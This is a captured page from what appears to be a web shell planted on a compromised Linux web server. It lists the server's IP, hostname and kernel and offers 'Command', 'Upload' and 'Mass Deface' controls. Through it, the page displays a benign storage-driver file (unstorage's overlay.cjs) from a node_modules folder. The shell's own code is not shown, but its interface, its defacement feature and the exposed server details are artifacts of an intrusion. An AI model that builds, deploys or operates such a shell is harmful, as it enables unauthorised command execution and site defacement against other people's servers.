���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules
/
unstorage
/
drivers
/
Viewing: overlay.cjs
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _utils = require("./utils/index.cjs"); const OVERLAY_REMOVED = "__OVERLAY_REMOVED__"; const DRIVER_NAME = "overlay"; module.exports = (0, _utils.defineDriver)(options => { return { name: DRIVER_NAME, options, async hasItem(key, opts) { for (const layer of options.layers) { if (await layer.hasItem(key, opts)) { if (layer === options.layers[0]) { if ((await options.layers[0]?.getItem(key)) === OVERLAY_REMOVED) { return false; } } return true; } } return false; }, async getItem(key) { for (const layer of options.layers) { const value = await layer.getItem(key); if (value === OVERLAY_REMOVED) { return null; } if (value !== null) { return value; } } return null; }, // TODO: Support native meta // async getMeta (key) {}, async setItem(key, value, opts) { await options.layers[0]?.setItem?.(key, value, opts); }, async removeItem(key, opts) { await options.layers[0]?.setItem?.(key, OVERLAY_REMOVED, opts); }, async getKeys(base, opts) { const allKeys = await Promise.all(options.layers.map(async layer => { const keys = await layer.getKeys(base, opts); return keys.map(key => (0, _utils.normalizeKey)(key)); })); const uniqueKeys = Array.from(new Set(allKeys.flat())); const existingKeys = await Promise.all(uniqueKeys.map(async key => { if ((await options.layers[0]?.getItem(key)) === OVERLAY_REMOVED) { return false; } return key; })); return existingKeys.filter(Boolean); }, async dispose() { await Promise.all(options.layers.map(async layer => { if (layer.dispose) { await layer.dispose(); } })); } }; });
Coded With 💗 by
0x6ick Mod By V1rus_Alfa